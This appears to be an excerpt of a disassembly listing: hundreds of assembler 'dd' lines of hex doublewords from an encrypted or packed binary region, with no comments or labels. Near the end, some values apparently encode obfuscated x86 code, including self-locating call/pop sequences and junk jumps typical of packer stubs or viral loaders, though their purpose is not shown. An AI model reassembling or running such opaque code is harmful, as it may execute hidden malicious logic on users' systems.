		dd 0FF4BB87Dh, 1F1EDA96h, 597CBF3Ch, 815FFC15h,	96805EB3h
		dd 0E6F316C5h, 6CB22104h, 8852295Dh, 26F4D289h,	0C9876DEEh
		dd 742F1249h, 5477E430h, 0EC368D95h, 8F4D3328h,	0EEB5D883h
		dd 4F0D950Bh, 0AF7699C2h, 0FB582DCCh, 0A633F09Dh, 41000000h
		dd 0EACD8E83h, 4A110485h, 2932E327h, 783F4706h,	0A967779Eh
		dd 6B12F47Bh, 54977EC7h, 0CBB82A5h, 0B600852Eh,	894EDE88h
		dd 0A0DF6602h, 37D905E2h, 6E004124h, 27000000h,	2B4E0D04h
		dd 0B9A26F2Dh, 5CFF12D6h, 0D727A39h, 0CD9740D1h, 0FA61B545h
		dd 15AA70C7h, 113427E9h, 3DB59B4Ah, 0C774D4B6h,	3316597Eh
		dd 36BD35BDh, 7EC77554h, 14B396D9h, 0DE88AB71h,	2C1Ah
		dd 0D1484100h, 0EDAB2309h, 0C5523526h, 78C0712Eh, 0B8C5E82Bh
		dd 78C061E2h, 67FDC270h, 0D1F467A9h, 0FD88270Ah, 8EE48FBEh
		dd 8Eh,	4BD24AB5h, 7EC76B69h, 0BED74EEh, 907EC76Bh, 9F729E4Dh
		dd 0C059D9BCh, 0FEBC341Ah, 0D9664912h, 78C06F5Eh, 79BDE023h
		dd 14E2C09Bh, 3A385B00h, 4E0D04C2h, 8D6F642Bh, 1278C068h
		dd 7EB4A54Bh, 63124FFFh, 358BC80h, 0A21921E0h, 0E1BF9C78h
		dd 8FD84D38h, 0CF4301E4h, 0BFA2698Ch, 277Eh, 0D748A500h
		dd 0A0A2290Fh, 65FEC76Bh, 1CF2FF22h, 8AFEC76Bh,	5CBFA71Ch
		dd 1719A086h, 0DC7EC76Bh, 735BB99h, 0D2000000h,	374Ch
		dd 8C4AE900h, 0E7AED18Ah, 8BD04004h, 0EEF02468h, 0A9873625h
		dd 0FF2239DBh, 9FC218FFh, 0D162DCA1h, 0E2608DBFh, 2C9D72FFh
		dd 7D2B7EC8h, 0F0840106h, 607DE87h, 2E00000Ch, 0E80BD348h
		dd 1B9D82DBh, 0B50C0F5h, 0EC6FA4E8h, 176CA0C9h,	0F1C67448h
		dd 33EA3B4Ah, 375068h, 48770000h, 0D6858ED3h, 573DECB3h
		dd 0C76AEED0h, 0D30737Eh, 5334BC00h, 1F641215h,	280A9109h
		dd 0ADD5539Dh, 863526EDh, 7F8104A3h, 0FF0A87FCh, 18000002h
		dd 0BEA1BA5Ah, 0BD34859h, 99854A3Eh, 0ECB07AABh, 0F080F2D5h
		dd 0BF46DE32h, 7EC7E6DDh, 4D701F62h, 0E6E6C84Fh, 286B7EC7h
		dd 4A319679h, 8DF7E585h, 0EDB4D784h, 2339C5BAh,	0D7BA69F2h
		dd 905DFE13h, 0F51EDC40h, 83D83A66h, 51B69960h,	0D7848C4Ah
		dd 0BD4055F4h, 2F4BDB88h, 72000000h, 3E0BD348h,	0B8F4854Ah
		dd 7C04B495h, 0DBA2C596h, 44CB492Ch, 7EC8076Dh,	73E82BE9h
		dd 3D01390h, 0C04EB4Ah,	0BA7B824Fh, 614Ch, 854AE900h, 51626381h
		dd 0F3DB05Fh, 0F8FC0538h, 59BE3E21h, 9C239B81h,	7EC854BAh
		dd 8F16FC3Fh, 7EC854ADh, 0A70CEF32h, 0D2898C4Ah, 8705E8AFh
		dd 98C3510Fh, 9082AE75h, 845BE8CBh, 0F47EC76Bh,	0D24AFECBh
		dd 3B5EFD14h, 42C9174h,	0AB694F0Ch, 0AD12F566h,	30E3A17Bh
		dd 0B8D1F82Bh, 9023D5B0h, 0DD3B48ADh, 13C2BFB1h, 0AD7B5902h
		dd 471DF764h, 36B38DCEh, 2CE53186h, 92805EB2h, 30DFA6C9h
		dd 0A797460Dh, 6D4714FDh, 6DA9286h, 0AFAC65B1h,	2CD104C9h
		dd 587F1DB0h, 0CE43ED75h, 2CE9A78Dh, 62450C2Fh,	2AE860F0h
		dd 9E8075E6h, 0DC22C016h, 0FE412635h, 57BE571Bh, 22C01680h
		dd 63E0BAFDh, 0FF12CCB3h, 5CB8765Ch, 3215DCFFh,	461500AAh
		dd 0AE53CE23h, 593BC262h, 0DE22C016h, 85C9EC9Bh, 9FABCE8Dh
		dd 0FB0D4A31h, 0ED28F2C9h, 4FC2906Eh, 0AE68260Ch, 58C8AADh
		dd 22C01623h, 0D3B665A8h, 8B8A8B61h, 22C016B4h,	3E14EE31h
		dd 500B07D7h, 0DB3A7EA1h, 0FD195D80h, 92743B5Eh, 0A3DCBB00h
		dd 0F31EF8BFh, 43CE7868h, 9C743218h, 0F2D59CBFh, 782BF080h
		dd 0C24969ADh, 0B9A2729Eh, 0ED1401D6h, 0CB0F3229h, 0DE7D944Ah
		dd 2245F4BBh, 0F5219628h, 541B3E1Dh, 645B99A5h,	140457BAh
		dd 0DAB4A76Ah, 704A1104h, 0E87C43F3h, 0D90DF823h, 482B215Ah
		dd 0E8CE8D84h, 2A07E970h, 498C22C0h, 0BC7ADE66h, 0B9D00358h
		dd 8E7D783Bh, 440A588h,	0E143D10Dh, 0C76B785Ah,	0BBAFD7Eh
		dd 0A57221E8h, 0D24ADF56h, 6AF1D35Ah, 33767EC7h, 0C76B5C3Eh
		dd 0BB9EE17Eh, 14FA203Bh, 803CF24Fh, 0C7CF17F9h, 26599C7Eh
		dd 0EBCE426Bh, 1EDC4086h, 0C5A72EF6h, 4A7EC76Ah, 6E355807h
		dd 6C29268Bh, 1FDB88BDh, 42h, 0FD74846h, 0ECC34A42h, 697EC76Ah
		dd 107B4026h, 2B04F14Ah, 4A197E61h, 0B490DD2h, 2737411Ah
		dd 844B6EEDh, 48DF2D5h,	7B7E4B10h, 484CBAh, 12D00000h
		dd 3B395CFFh, 0C76AD2B4h, 6514577Eh, 0D7481D82h, 0D24A420Fh
		dd 3A1A760Dh, 996083D8h, 0D92BF466h, 0E68A6CF3h, 0CC0F7EC7h
		dd 0E6855CE9h, 0CCF57EC7h, 4EB4AFFh, 4A7E4B10h,	169D878Ch
		dd 7EC76B34h, 0E4C776B9h, 0B23BD697h, 0ED7EC778h, 0ADFE4207h
		dd 0EF168A17h, 4D00BCBCh, 0AA8D99D8h, 0FFFCAF2Eh, 653BCBFFh
		dd 0DF7EC76Bh, 3CC4A278h, 0A4C7947Eh, 0DA36FADDh, 6F515E81h
		dd 0E57EC76Bh, 3AD60077h, 2085439Dh, 4AF9E79Ch,	0EA26E46Ch
		dd 4ACA8E71h, 0B6A93311h, 0D5404D70h, 0ABBC7180h, 48186FDh
		dd 8720DE47h, 1F1h, 6B643BAEh, 7BDE7EC7h, 0C170EB26h, 9E9E63DBh
		dd 288F6F32h, 7D7401E4h, 3A78C05Ch, 0C54B19F7h,	0E52F7396h
		dd 50F5376h, 2E333356h,	0C48B12F8h, 4172BA1Bh, 0B002C7FEh
		dd 0DE3F17A6h, 0CF9E2h,	6FEC2B00h, 0A51C391h, 0A9B25E2Ch
		dd 4615FDCBh, 0E07B9A68h, 0D2056702h, 6C3A1843h, 5D3B1AAh
		dd 0A16F4D0Eh, 3B0DEB70h, 0BBEED057h, 997384D4h, 0D10D04FAh
		dd 46691843h, 250BD346h, 6B4426ADh, 4FC97EC7h, 0C76AE6C8h
		dd 79286B7Eh, 0EB911896h, 2878B9B0h, 0CF41FFE5h, 6845B908h
		dd 6F9B194Ah, 2806B5A6h, 9721B65Ah, 49266CA9h, 81BB1447h
		dd 0AC974976h, 7B96DAFDh, 0FDACAF63h, 9F47DADAh, 853B32B9h
		dd 0B5F872B2h, 0AE3E557Eh, 8F8BEC17h, 0C66h, 240259BEh
		dd 0BF9DBE56h, 5E3C1FF1h, 0FBD98290h, 9573E82Dh, 0B06572FAh
		dd 17FFCDABh, 7B986644h, 0DD3402E0h, 0EACEA07Eh, 0D4BC8163h
		dd 8D2C0684h, 2B4E0D04h, 0AF0362Bh, 0BF88E483h,	0C09EE178h
		dd 5E3C1FF2h, 0AF954DD4h, 0B28F6F28h, 8B71B472h, 9C239B13h
		dd 72B307BAh, 2507FC3Fh, 5C72B307h, 0F7C60A7Bh,	72B59A4Fh
		dd 9245CB8Fh, 8A5B989Ah, 5230DF0Eh, 0ACCF8C84h,	8195E9AEh
		dd 0F08F314Eh, 383B88A6h, 0BB9E4DC2h, 1E411AF7h, 0FDE33B1Eh
		dd 1D55C438h, 6B4EB2F9h, 0CA6F66EDh, 0E92C6CABh, 0B4F92BB2h
		dd 0B9B5161Dh, 0BBAh, 0D0AEAD6Ah, 6B491202h, 0AE8739Dh
		dd 0A785D63Ch, 411F3CD9h, 411C6A6h, 6BAB7957h, 0CF4412F0h
		dd 31E0AE8Ch, 967A4C2Ah, 0D4BD2D0Fh, 39D8B284h,	0D5868C4Ah
		dd 41E32EF2h, 0C76AD8BAh, 6B1A5D7Eh, 0A4860D85h, 297EC76Bh
		dd 484803E6h, 80E085D1h, 0D295B581h, 957F3D23h,	0F9DCA3C6h
		dd 8839F47Bh, 3B7E78C0h, 59858F5Dh, 15F3A2B9h, 0B492C947h
		dd 9D14845h, 714C5E23h,	0BAED6EA4h, 45781DEDh, 0AC5682B5h
		dd 0B02E116Ah, 0BFD01A29h, 0C8501778h, 7BE030CAh, 867EA248h
		dd 0E4ABCE8Dh, 0E6C84F35h, 6B78C158h, 0D5937928h, 7C5EE53Fh
		dd 178C159h, 712C0FBEh,	0FD5EB573h, 59B78D1Ah, 26ED78C1h
		dd 5DBA84B1h, 5B0A92A5h, 3C1FF438h
		dd 0C7BCF019h, 0A116C498h, 8F7FEB9Ah, 8BA0E4h, 4C70000h
		dd 1645CE10h, 977D2CF3h, 937652D2h, 3E6AA81h, 4B100448h
		dd 2BB22A28h, 7EC7B549h, 56050ECEh, 1200C4A7h, 32E22649h
		dd 58C14B29h, 423EA3FEh, 49F8E69Dh, 0F909DC63h,	0CF8D78C0h
		dd 2DF41744h, 538ACD4Ah, 119FC254h, 8B504CADh, 9900000Ah
		dd 31FFDD7Eh, 0CC9A78E3h, 6B391744h, 8D6B4A7h, 0D5704E0Dh
		dd 86D54097h, 1F3CDAA8h, 0BBA07341h, 59020FDDh,	3EC5A97Bh
		dd 84D4BE5Ch, 46807E1h,	0E76D4B10h, 6Ah, 4B100484h, 0E9312828h
		dd 7F123E03h, 1F4219FAh, 0CD602558h, 6B8ECD48h,	9412F5A4h
		dd 0C150460Dh, 0C249C378h, 78C12FE0h, 0EA71A565h, 5C558C3Bh
		dd 0A5119F7Bh, 0A184844h, 0B0C0000h, 70A47250h,	0D13F0DEBh
		dd 34DEAC8Ah, 9A7B4927h, 2448E3C1h, 1BF962B3h, 0B492C94Dh
		dd 502E2DE6h, 0EECC8F82h, 0CFB1381Ch, 5484D4BEh, 0D04DB7Ah
		dd 66AA684Eh, 595712F5h, 0FFE2799Bh, 9F85D63Bh,	6BBEA027h
		dd 83437EC7h, 0E0A7CA91h, 41934E31h, 0A2E3185Fh, 0E9DE88B5h
		dd 27Eh, 0B0B5F310h, 0BF61EDA9h, 46B12302h, 0B05FFC1Ah
		dd 0C66043CAh, 1EE578BFh, 9F4F347Eh, 0A0BB575Ch, 0DF5242F1h
		dd 6528ED9Eh, 0BBA179E0h, 0BAD47E43h, 0A383C2B5h, 0A12C33C0h
		dd 0E6297F22h, 885EC3C3h, 0F6661BA2h, 60A37917h, 655BC7Ah
		dd 0A4B75A28h, 48AD4E6Dh, 5652B311h, 95Eh, 2C0A51C6h, 0C7A5B65Eh
		dd 664417F9h, 3E17A98h,	9D7BE035h, 0A86D6A02h, 0F07D5B3h
		dd 73A06E4Ch, 0D53C0AE8h, 0F2D6A886h, 0D4BF896Bh, 95340E84h
		dd 284B1004h, 3E93128h,	0B9B08D7Ch, 21074A78h, 3526EBA9h
		dd 2E510A09h, 56C08467h, 0B2611F05h, 0DCBF86A9h, 0DD7E9866h
		dd 7EDD39F7h, 0A868945Bh, 0E6C990B3h, 0F0362B2Bh, 403C830Ah
		dd 0FAB872B2h, 0E05D401Bh, 0A82FF520h, 72B310C6h, 3659084Bh
		dd 1CDAC06Fh, 0A76C2AFAh, 10DDBFB4h, 0DA6172B3h, 72B310F8h
		dd 12553A7Dh, 5FB78563h, 7C95D9FCh, 9A5DA8DFh, 83E417ADh
		dd 8B187h, 0B7A47300h, 52090BD9h, 0F16AA674h, 8ECD4513h
		dd 2833E2B0h, 1ABDAF4Ah, 0B48260FBh, 4D1BF962h,	0E9B795C6h
		dd 83553328h, 0C036189Fh, 0E1BB84D4h, 51FB1242h, 877EC76Bh
		dd 9470A219h, 15F6D4CFh, 0B49A4355h, 0C7CF4B2Dh, 0AA8DD07Eh
		dd 9EF372Ah, 0CF280A91h, 6AAD7EC7h, 19910987h, 7DA0BB5Bh
		dd 0CEDFC1B6h, 0DC637EC7h, 7EC7CEFAh, 14573C7Fh, 4E312AE8h
		dd 0BFE67AC1h, 0CEB4F778h, 0BDD5F09h, 672E510Ah, 0CB9BAA34h
		dd 64AC6AE8h, 0A05739C0h, 62DC78C0h, 0C09FF9DBh, 8C3B7E78h
		dd 0FF77FFDDh, 0C0A09678h, 0AB9ECD78h, 0B0A9FB4Bh, 56050BCBh
		dd 0DD44C4A7h, 44981F05h, 0C872B65Bh, 24500B0Ah, 0B886BF0h
		dd 0ED24E2C8h, 7A15EBEAh, 0EF76D758h, 72B7410Dh, 74A04F92h
		dd 3210BF9Ch, 77AEAD64h, 17A96A98h, 0C74C48A9h,	5D000007h
		dd 0F5C3A1BAh, 905E3C1Fh, 2FFDDB80h, 0CC9A78E3h, 99341249h
		dd 4A1104D3h, 0E3789E6Ch, 7FDC3705h, 1D3ED3A1h,	2896D3Fh
		dd 84D4C120h, 3B2CCBA5h, 7EC76B65h, 27AE769Bh, 7EC76B45h
		dd 0FAD887CAh, 73FAE970h, 7EC76B91h, 53C24F16h,	337CD623h
		dd 77EFD584h, 0DCFF5CB9h, 0EBA53215h, 2F78C071h, 0D94E30B7h
		dd 90D378C0h, 7ED30ADh,	0F516CA8Fh, 697B04CFh, 0A51C286h
		dd 0A6B55E2Ch, 4D0E02C0h, 0C580632Ah, 73DC9h, 0D1486600h
		dd 0A59C2309h, 6278BF94h, 3EED6EA2h, 45380E1Bh,	18C678C0h
		dd 0D7E99CA3h, 22A2E48Fh, 0C9000001h, 294C0F04h, 72A31E5h
		dd 270D4EC3h, 0CBAEAD69h, 1447CC10h, 33AB6836h,	0ABCE7DDEh
		dd 896FB1ABh, 0C7696802h, 3FA76C7Eh, 3EE52067h,	9DE05D40h
		dd 9A126E7Ah, 0C8423113h, 9073B67Eh, 0B45FBB00h, 18FBC9A7h
		dd 45132043h, 0B37EC841h, 6FA47E45h, 0C8860EECh, 26ED104Bh
		dd 359C343h, 0ED784D9Fh, 6349F879h, 0C84232DCh,	1134777Eh
		dd 341249CDh, 88ABB066h, 6B8ECD44h, 4B6EED27h, 294C0F07h
		dd 0DEBD02CAh, 0DB077CEAh, 0BA42203Bh, 143657F5h, 0BEA1BB5Ch
		dd 1C3F1CFAh, 0F7DD051Ch, 0BFA0A970h, 905F2678h, 57BD719Bh
		dd 0A52D0BBAh, 51ECF0E0h, 4326D641h, 0A1C4977Fh, 2FE4BFA1h
		dd 10977D2Ch, 78C05D32h, 3D496CAFh, 0E82EE8CFh,	4F0D9573h
		dd 0EDB194C7h, 0F0F3229h, 34169D0Ah, 0B978C05Dh, 90CB4A76h
		dd 0D43DFBE1h, 9F26A487h, 72B96DE8h, 37FCE225h,	68ACDD4Bh
		dd 0A41AFD4Dh, 5DE440D6h, 72B9407Bh, 300EBD00h,	126B162h
		dd 0AFAE020h, 0C64E2CDBh, 44D10D08h, 0D73C6817h, 0B79A6184h
		dd 9D14852h, 6AC19C23h,	34678C0h, 0E3789CE0h, 0D7489605h
		dd 29EEEC0Fh, 0E5F993E8h, 921F02CAh, 7EC852BCh,	20279C4Ah
		dd 0DE87CA65h, 4026h, 854A4D00h, 94616080h, 0BAA17409h
		dd 3E21D097h, 603D9A7Ah, 83578163h, 0D1DE01B0h,	7EC78EEFh
		dd 5680F765h, 768619BEh, 0D1C7F45Bh, 0FEBC4422h, 5E254813h
		dd 0EB4CEE7Bh, 0A3877EC6h, 0FFFFFFA2h, 4E0D0440h, 0F467AA68h
		dd 0F0DAC11h, 799CBF51h, 4A6ACFB2h, 0B4D7848Ch,	918A0AEDh
		dd 0E3527C49h, 88BD6C29h, 431FDBh, 4A460000h, 0FAB31985h
		dd 0C1ED0598h, 0A4240754h, 4A9663BBh, 0C76AE1C3h, 66ED657Eh
		dd 7EC76B84h, 769AC609h, 18FBC2E5h, 4A8B589Bh, 4B1004EBh
		dd 0EE6DA765h, 0BC2104CBh, 31E3A17Bh, 4CE2472Ah, 35h, 0FD748E9h
		dd 0E1C34A42h, 597EC76Ah, 0D5F863B3h, 2B30E20Eh, 0D24AAF7Ch
		dd 0C76B694Bh, 0BDBEA07Eh, 340CF793h, 0AB290C4Fh, 0CE10044Ch
		dd 2AEB1744h, 7BB58231h, 4F0C04BAh, 6B3D1F2Ch, 45B37EC7h
		dd 0EF6CA47Eh, 7A2D7A11h, 0FCE07EC7h, 0FFFFF3C6h, 20854A99h
		dd 0D75DC1D4h, 59020E3Ah, 0F962B276h, 5288911Bh, 0D9BAE56Ch
		dd 0BCFF78BFh, 9AB68C99h, 964478C0h, 866B1A21h,	720E48Fh
		dd 47000000h, 14Ch, 0D148E900h,	0B19C2309h, 7678C071h
		dd 48CC1033h, 0F9E3513h, 0C578C061h, 612F0D4Eh,	3186A9B2h
		dd 68F31FE6h, 4C0F0145h, 4467F420h, 59067D85h, 15C1B6A6h
		dd 0B17F5DFEh, 4B21FB60h, 3EBB95C6h, 24ED298Eh,	0BF8726B3h
		dd 0C1A79EC2h, 0BF7A583Ah, 0EB9ADD78h, 6E564005h, 0DB9F8EABh
		dd 940C70F8h, 0BF892B0Dh, 8A6DB078h, 0E5854A25h, 0D5868DA3h
		dd 1A21BFA2h, 2BCBAD34h, 0D507EC8h, 0FCFA8B2Ah,	0AD91DF07h
		dd 0B8000000h, 3D0AD648h, 6AECC34Ah, 335C7EC7h,	38EB4A66h
		dd 0D04FA5Fh, 280D814Eh, 420FD748h, 0A0CCA52h, 29096E51h
		dd 0DB88BD6Ch, 481Fh, 0D7484600h, 0B2EC13D8h, 9D38F8C5h
		dd 0C823C6A8h, 59084B7Eh, 0E1C34A8Ch, 667EC76Ah, 0EB4A5623h
		dd 45CE1004h, 302BEA16h, 0CA97460Dh, 33E3A17Bh,	6B886AF1h
		dd 0CA0D7EC7h, 4CD3381Bh, 3Ah, 0DC0212D0h, 95782734h, 8A8C4A30h
		dd 0ED6EEED1h, 4FFE5DB8h, 888C4A82h, 0EB72F0D3h, 7EC76B09h
		dd 4A8B5881h, 4B1004EBh, 0ED6EA765h, 0A17BA50Ah, 6BC0A229h
		dd 2457EC7h, 364CBA1Fh,	0E9FFFFFFh, 2B4E0D04h, 5EB42AE7h
		dd 0AA684EFDh, 9B11F467h, 0ECD20811h, 0C07B9265h, 0B1D41778h
		dd 0C05ACEA4h, 0C9AE5C78h, 8FC55332h, 3238E4h, 485F0000h
		dd 694BD2D1h, 0EE7EC76Bh, 9E16FCABh, 462932E0h,	0BF9AE2B9h
		dd 729F5F78h, 50FFC6E9h, 3B4A202Dh, 2AD878C0h, 0E1D7AE55h
		dd 0EFB4E48Fh, 0DB000000h, 684E0D04h, 78E332F0h, 0C76BA183h
		dd 545F267Eh, 0F7A8B5D6h, 803B1ECDh
		dd 5F82D93Ch, 0EA71A361h, 0B0C54FB7h, 1CFFC666h, 0F125B958h
		dd 153823EDh, 0AF09F4Eh, 6591CA4Ch, 12CDB0ABh, 3A1843CEh
		dd 0C7CC39A3h, 845AB77Eh, 0E2A9CC8Fh, 838F4D33h, 1056A5D8h
		dd 0A017DB33h, 987947BDh, 0B9A0A0C3h, 0F4A617DDh, 0E9983D55h
		dd 99C68B03h, 0B257862h, 16694B40h, 2EEE7EC8h, 8D5477E4h
		dd 0F67DFBDEh, 78C03E7Bh, 951FFD40h, 0E970568Ch, 72B69A3Dh
		dd 0EA01BB82h, 925837E2h, 0D63FFDE3h, 3CD9A785h, 0C731E81Fh
		dd 0AF1017A9h, 259B3h, 0F4CCB00h, 0AAB16331h, 4912FECCh
		dd 0E6759D6Bh, 80DB3A08h, 726507A2h, 0CDAB8A3h,	0A573510Ah
		dd 410FED6Eh, 0DBAD8BD0h, 0C68E70F7h, 391384D4h, 4A11049Ah
		dd 0EB26E46Ch, 48C98D70h, 2FDE7D96h, 0D148E251h, 0C59C2309h
		dd 4278BF9Bh, 995419FFh, 0DBFC588Ch, 0F3DC9245h, 67178AC0h
		dd 0DB0C292Bh, 785B0A01h, 0ADAB0BDh, 0BA6878C0h, 11473EC5h
		dd 0E744E490h, 6B000000h, 76CA0D04h, 7D4DAF97h,	52507322h
		dd 0B9DC7F94h, 6261836Eh, 98476C62h, 9F492BB2h,	8BCE7EC7h
		dd 2A31E4A8h, 0C94B0907h, 0B822AF92h, 367EC7A1h, 7891FCDBh
		dd 541F1170h, 813FC7A5h, 23E7CA91h, 4A4A6DEEh, 6B290FD7h
		dd 0CC93B6A5h, 69E46BE9h, 2E78C026h, 9E830DEBh,	72EA6248h
		dd 0C0D709EBh, 1F4B8E78h, 7E4568F3h, 7D090E9Bh,	460672B6h
		dd 0F8DE8DCEh, 9DABBB80h, 3E9E2F3Ch, 75580312h,	19F764B1h
		dd 5A91CA4Bh, 17AA3689h, 4F1B1778h, 0D5000001h,	6D3B1942h
		dd 8D6B4A7h, 0A7755308h, 4412F06Bh, 11AC8AD1h, 0C2997C5Bh
		dd 5B0016E4h, 0F764AF7Dh, 95C64B19h, 7A01E5B7h,	84D4C798h
		dd 4A4431Dh, 0E044CD11h, 0C76B7759h, 0AB9FC7Eh,	62AF7D5Bh
		dd 0BD5513F9h, 6AFEE067h, 40837EC7h, 0C4A76E91h, 0D04DF4Eh
		dd 2AE72B4Eh, 50C95331h, 0F2801306h, 0BE6DAB08h, 0F7D960D8h
		dd 7C7EC79Fh, 51D85639h, 78BFB80Ah, 0F4CC886h, 866CAF2Ch
		dd 0B80B5BC1h, 0C5A888DDh, 0D3888947h, 71EA27F5h, 13CB4E4Eh
		dd 0D1BFA62Dh, 397C72B2h, 0AD58EB02h, 0B9B51617h, 0AAh
		dd 0E0BE9D7Ah, 7B590212h, 1AF863ADh, 0B795C64Ch, 512F2CE9h
		dd 0F421B6B6h, 5BBB8967h, 0BF542200h, 21F0BE9Ch, 0A68A5C3Ah
		dd 0D4C83D1Fh, 49E8C284h, 2309D148h, 0CAAC33ABh, 4F7EC76Ah
		dd 0B19C290Ch, 7678B9A9h, 9A121033h, 0BA2A3113h, 0B4A76F78h
		dd 0E5A98CCFh, 83512F2Ch, 29E7CD8Eh, 0D4B63DE7h, 5978BA29h
		dd 0D83B6716h, 0B6996083h, 0C28FEEFBh, 0E2AA94BBh, 0ED0419Dh
		dd 6C335605h, 11DFBDh, 1EF4385Bh, 2592573Dh, 0E0C249A2h
		dd 6554BCA8h, 0BB9EEF22h, 2935F0D3h, 0F71AC4BBh, 59B88664h
		dd 3E3DF02h, 80000000h,	13041520h, 30E12548h, 4FC4082Bh
		dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah
		dd 0D074B6Eh, 532A2B4Eh, 0BD55E389h, 4,	835DEB01h, 1C8704EBh
		dd 0CE685C24h, 89000048h, 8950241Ch, 405E0h, 0E8830000h
		dd 24048704h, 240C895Ch, 45256855h, 815D00F8h, 0EB012FEDh
		dd 8BEB89FAh, 0C483242Ch, 0C8B5404h, 4C48324h, 8904EC83h
		dd 418F241Ch, 2434FF08h, 4C48359h, 5B2434FFh, 0E904C483h
		dd 0FFFA1CC2h, 0CC11A4E6h, 0D5E45B8h, 50C50306h, 2C0585C6h
		dd 68470607h, 0CF381725h, 1B2DB5FFh, 858D0607h,	6073B24h
		dd 0D88BD0FFh, 1771858Dh, 68500607h, 104h, 85C6D3FFh, 6072C05h
		dd 0F8BF6853h, 0B5FF8307h, 6071B2Dh, 3B24858Dh,	0D0FF0607h
		dd 41D18589h, 0BD83060Dh, 607217Dh, 0B840F00h, 8B000000h
		dd 71AED9Dh, 5E906h, 0BB0000h, 68000000h, 100h,	41D5B58Dh
		dd 5356060Dh, 303D95FFh, 0B58D0607h, 60D41D5h, 1E9F003h
		dd 4E000000h, 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh
		dd 0D5858D00h, 50060D41h, 41D195FFh, 0FF58060Dh, 0A048FFE0h
		dd 741CCA49h, 0E8DE8903h, 0D1FDC944h, 0FE926600h, 0F1E14A1Eh
		dd 6ADB0C2Dh, 588D5000h, 2D361F2Fh, 0F390A666h,	0A7B4DF04h
		dd 71146226h, 0BCEEF10Fh, 44056912h, 2A45914Fh,	0B1450939h
		dd 8CA0141Bh, 0A02FDA66h, 231D9A64h, 0B58E4915h, 674005Eh
		dd 0D70C3507h, 0E00EB666h, 0E554CF30h, 0A10E4841h, 52A6B702h
		dd 4C6A946Ah, 7E7F0A35h, 5C5D4A67h, 60CF185Ch, 1996174Dh
		dd 9E830h, 0F16C0000h, 9A0E27F3h, 5AA094A5h, 6899F681h
		dd 0C281608Bh, 6AB8h, 68F3B70Fh, 1A88h,	1B830Fh, 10E80000h
		dd 2C000000h, 4CED8976h, 0EFA9FC64h, 52338349h,	6696D0C4h
		dd 63FCE81h, 0BF0F585Eh, 0F32FFF0h, 0F5BCABFh, 1786h, 0CE800h
		dd 9B680000h, 7914C60Eh, 15E8E865h, 81BEAD92h, 59111C08h
		dd 455EEB81h, 0B70F114Bh, 34C381CAh, 0F23F2A7h,	0EB81F6B7h
		dd 5C00B1E4h, 1A895E57h, 2880F60h, 8B000000h, 0EA8361FEh
		dd 0F0B70F03h, 48EC8A4Ah, 0FFA7850Fh, 0CE8FFFFh, 10000000h
		dd 0E55C9E49h, 0E3D3A80Eh, 0B087EFA7h, 0BF0F5BE9h, 8C381F7h
		dd 0F9000066h, 13E9C933h, 18000000h, 20C2EB6Bh,	0DB1B960h
		dd 0DE9D32Eh, 79FE43D6h, 3C8B291Fh, 0F59CB80Bh,	0EF813259h
		dd 12E990DBh, 9ECA17B8h, 4C78107h, 0FC1ED7EEh, 73B6F781h
		dd 0CE81531Eh, 9FA82D7h, 0F78B6657h, 660B048Fh,	0F208E081h
		dd 0E98399B2h, 0F0BF0F04h, 9A94F981h, 850FFFFFh, 14h, 21E9F5h
		dd 0CE5C0000h, 0BC523B8Fh, 0F8EF5234h, 0B042515Bh, 0E9D6BF0Fh
		dd 0FFFFFF9Eh, 0FE3D8F60h, 0F1214DB3h, 8D28676Eh, 0D62068Dh
		dd 9150BE06h, 8D894017h, 6070679h, 0E1E8EA81h, 85C75878h
		dd 6072CE5h, 69C4h, 0FDE8B66h, 0D81h, 8E900h, 15CA0000h
		dd 7324397Ch, 85C7591Ah, 6072D05h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F4C35141h
		dd 0C93F053Dh, 89262B8Ch, 7012195h, 91B5FF06h, 6A06070Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0D05EC356h, 56C7B860h, 29600993h,	72649B5h
		dd 95FF6106h, 60700BDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 86C35646h, 0B0EC7376h, 0B3ECB12h, 0E8F9B70Fh
		dd 6, 0EDD8464Bh, 85293B25h, 6071DDDh, 0FF006A5Eh, 716B595h
		dd 0EBC08B06h, 0EAB1EC7Eh, 0D88C085Fh, 24554303h, 9B14984Fh
		dd 431F11Ah, 2DC31C24h,	0C43629E4h, 453E7D74h, 0E9F5FB1Ah
		dd 0E910174Fh, 9765BE5Ch, 67A41C37h, 0BA6760CEh, 1D5FA5E7h
		dd 967BEB82h, 0C3C0CD89h, 0CBB28E71h, 1B9E2E9Eh, 0F7182AE6h
		dd 14D9EECDh, 8543E2Ah,	0E7FE09EBh, 2C3A90A9h, 0C39D0F57h
		dd 298AC43Ch, 46696C2Ch, 6AC5845Eh, 0A191715Ch,	5FF5395Fh
		dd 0ACCA082Dh, 73F31D56h, 0E8F6363Bh, 6, 2004BDBBh, 820F5B12h
		dd 1Fh,	0DE8h, 456C500h, 729CA443h, 0DB615CFAh,	7E943F9h
		dd 0E5000000h, 125AC534h, 5F5BCEFDh, 14BD8D8Bh,	0C7810607h
		dd 6442h, 1CB19D8Bh, 0D22B0607h, 1FD59589h, 348B0607h
		dd 0EE917h, 786F0000h, 5E6934E9h, 0C1BACC5h, 9BE4E7D3h
		dd 395FEE81h, 9E95A87h,	1C000000h, 206F21A3h, 0F1A71D7h
		dd 51A7C681h, 0F6813440h, 5BEAA56Bh, 3489CB8Bh,	7D958917h
		dd 0F06070Eh, 0EA81C8B7h, 493054E2h, 0D58BC981h, 0C28127F1h
		dd 493054DEh, 1F08B60h,	732F99Dh, 0FA816106h, 0FFFF9C6Ch
		dd 0FF94850Fh, 8D8DFFFFh, 60D63D3h, 5AD38B52h, 6798D89h
		dd 95890607h, 6070039h,	2CE585C7h, 69C80607h, 85C70000h
		dd 6072D05h, 0
		dd 788BE681h, 0B58B17B4h, 6072A69h, 0B75B5FFh, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0D6C8BFC3h, 0CBD9D29h, 95FF0607h, 60700BDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E6C35646h, 0E2281957h
